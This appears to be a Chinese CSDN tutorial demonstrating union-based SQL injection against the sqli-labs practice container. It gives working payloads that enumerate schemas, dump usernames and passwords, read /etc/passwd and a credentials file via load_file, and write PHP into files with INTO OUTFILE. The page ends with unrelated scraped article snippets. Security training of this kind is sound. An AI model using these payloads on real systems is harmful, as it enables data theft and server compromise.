根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748
本章主要对说明的内容通过实战的方式进一步加深,实战环境
sqlilab,hackbar
如下图,进入sqli-lab docker后进行sql语句尝试

[root@localhost ~]# docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
f49f95b7655de49084fe7d76263865854cdd0ff508a2ac8096297af797b61d3e
[root@localhost ~]# docker ls
docker: 'ls' is not a docker command.
See 'docker --help'
[root@localhost ~]# docker container ls
CONTAINER ID        IMAGE                COMMAND             CREATED             STATUS              PORTS                          NAMES
f49f95b7655d        acgpiano/sqli-labs   "/run.sh"           11 seconds ago      Up 10 seconds       0.0.0.0:80->80/tcp, 3306/tcp   sqli
[root@localhost ~]# docker exec -it f4 bash
root@f49f95b7655d:/# mysql -uroot -p
Enter password: #填空, 默认没有密码
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

1. 寻找注入点

通过注入单引号,网站返回sql报错,确认存在SQL注入,且得知数据库的类型为MYSQL

2. 确定当前数据库的列数

通过order by进行试探得到,如下所示,当为order by 4返回数据报错
sql注入语句说明,后台的原始数据为:

select  * from users where id='$id' limit 0,1
#注入语句后替换为
select  * from users where id='2' order by 3 --+limit 0,1


3. 确定前台显示那几列

思路:通过union来增加查询语句同时,并让第一条的查询语句select * from users where id='$id'返回0,这个union进行笛卡尔积之后数据仅为union之后的查询结果。
如下图,我们得知显示的内容为2,3列。

4. 获取数据

现在就是根据前面讲过的获取库,表,列,数据的语法依次进行数据的获取:

4.1 获取当前的表明

一开始获取库名返回报错提示返回的行数多于1行,有两个解决办法:

  1. 通过limit限制;
  2. 通过concat将多行合并为一行
    select group_concat(schema_name) from information_schema.schemata

    修改后的步骤

4.2 获取表数据

select group_concat(table_name) from information_schema.tables where table_schema='security'

4.3 获取列数据

从上表我们知道user可能会函数用户敏感数据,因此,先对其进行查询:
select group_concat(column_name) from information_schema.columns where table_name='users'

4.4 获取所有数据

select group_concat(concat(username, 0x7e, password)) from users
# concat(username, 0x7e, password) 用于将密码与用户名通过‘~’分隔起来

5. 提权

毫无疑问,上述操作主要是用于进行数据库中数据获取,当数据库中的数据不能支持我们进行进一步渗透时,还可以通过SQL注入漏洞进行提取,主要包括两个方面:

  1. 读写配置文件
  2. 执行系统命令

5.1 读配置文件

文件一般都是通过文件名爆破的方式进行获取,如下图获取db-creas.inc中的文件
id=' union select 1, 2, (select load_file('/var/www/html/sql-connections/db-creds.inc')) --+
也可以执行系统文件, 如/etc/passwd:
union select 1, 2, (select load_file('/etc/passwd')) --+
查询后,我们发现并没有显示文件内容,这主要是因为html显示问题,我们通过查看html 源码的方式进行查看。

真实的文件内容已经返回了:

font size='5' color= '#99FF00'>Your Login name:2<br>Your Password:<?php//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

5.2 写入文件

前提是mysql要有对特定目录具备写权限, 我们通过登录sqlilab map进行尝试,发现/var/www/html/目录下具备写权限功能

mysql> select '<?php phpinfo(); ?>' into outfile '/var/www/html/phpinfo2.php' ;
ERROR 1 (HY000): Can't create/write to file '/var/www/html/phpinfo2.php' (Errcode: 13)
mysql> select '<?php phpinfo(); ?>' into outfile '/tmp/phpinfo2.php.txt';
Query OK, 1 row affected (0.01 sec)

因此,可以将文件放入到其他目录,但通过url访问(目录遍历)发现读取不到该目录。
根据上述所示,具体的url请求为:
http://192.168.168.128/Less-1/ ?id=' union select 1, 2, '<?php phpinfo(); ?>' into outfile '/tmp/phpinfo.txt' --+
后台查看目录,发现写入成功:

root@366fac995ec2:/tmp# ls
phpinfo.txt  phpinfo2.php.txt  t.txt  text2.txt  text3.txt
root@366fac995ec2:/tmp# cat phpinfo.txt
1   2   <?php phpinfo(); ?>

sql注入-回显注入实例详解相关推荐

  1. linux git 删除分支,git 删除分支和回滚的实例详解

    linux shell 的 git 删除分支和回滚的实例详解 git 删除分支和回滚的实例详解 [git 删除本地分支] git branch -D br [git 删除远程分支] git push ...

  2. php注入教程,php注入点构造代码实例详解

    php注入代码,方便注入测试 把下面保存成 Test.asp 代码如下: $mysql_server_name = "localhost"; $mysql_username = & ...

  3. window.open返回值实例详解(子窗口向父窗口回显)

    window.open返回值实例详解(子窗口向父窗口回显) window.open实例: 1.父页面: <script language="javascript" type= ...

  4. 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...

  5. python判断是否回文_对python判断是否回文数的实例详解

    设n是一任意自然数.若将n的各位数字反向排列所得自然数n1与n相等,则称n为一回文数.例如,若n=1234321,则称n为一回文数:但若n=1234567,则n不是回文数. 上面的解释就是说回文数和逆 ...

  6. python生成表格文件_python 读取excel文件生成sql文件实例详解

    python 读取excel文件生成sql文件实例详解 学了python这么久,总算是在工作中用到一次.这次是为了从excel文件中读取数据然后写入到数据库中.这个逻辑用java来写的话就太重了,所以 ...

  7. mysql模糊查询实例_Mysql实例sql模糊查询实例详解

    <Mysql实例sql模糊查询实例详解>要点: 本文介绍了Mysql实例sql模糊查询实例详解,希望对您有用.如果有疑问,可以联系我们. 导读:常用的模糊查询语句:select 字段 fr ...

  8. python装饰器函数-Python函数装饰器常见使用方法实例详解

    本文实例讲述了Python函数装饰器常见使用方法.分享给大家供大家参考,具体如下: 一.装饰器 首先,我们要了解到什么是开放封闭式原则? 软件一旦上线后,对修改源代码是封闭的,对功能的扩张是开放的,所 ...

  9. php mysql PDO 查询操作的实例详解

    php mysql PDO 查询操作的实例详解 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ...

最新文章

  1. ngx_lua中的协程调度(三)
  2. JAVA I/O使用方法(转)
  3. Linux sed命令使用
  4. 模拟浏览器自动化测试工具Selenium之七采集网页信息写入excel
  5. 关于BDD100k数据输入处理mask变为56*56
  6. SAP Spartacus里的StorefrontConfig静态类型
  7. Luogu P4168 [Violet]蒲公英 分块
  8. robotframework安装_python3.9.0 + robotframework + selenium3 实例体验
  9. 作为文本内容空格的HTML标签,HTML.fromHtml在文本末尾添加空格?
  10. 二分查找的平均查找长度_二分查找(折半查找)代码实现
  11. 20175208 《Java程序设计》第七周学习总结
  12. Codejock 19.x 定制Crack Version
  13. 多媒体计算机软件都包括哪些,多媒体计算机软件都有什么
  14. 专属微信二维码python制作_如何通过一行代码制作个人专属动态微信二维码?
  15. 二进制方式部署k8s集群1.21版本-域名形式
  16. linux 限制单个ip流量,centos 的单ip流量控制-CentOS下利用iptables限速及限制每IP连接数...
  17. char[]和char* 输出长度不同
  18. 四川省计算机应用教材,四川省电子科技大学计算机应用技术
  19. 《机器人学导论》第1章课后作业
  20. 手把手教你如何远程连接云服务器(图文教程)?

热门文章

  1. 前端优化 - 收藏集 - 掘金
  2. ubuntu 启动遭遇 no such partition     grub rescue处理方法
  3. 大学计算机试题在线,大学计算机信息技术一级试题(新)
  4. cesium 使用时间轴显示轮船实时位置轨迹,通过粒子系统添加轮船尾浪效果
  5. linux usb视频播放,如何从linux USB捕获设备捕获与ffmpeg同步的音频和视频
  6. 微信公众号关联(小游戏 小程序 跳转 盒子 wx.navigateToMiniProgram)
  7. SpringBoot结合RabbitMQ
  8. 盖尔金圆定理及严格对角占优矩阵(SDD)
  9. win7电脑读不出u盘解决方法
  10. 【学习笔记】CS224W速记(图模型专题)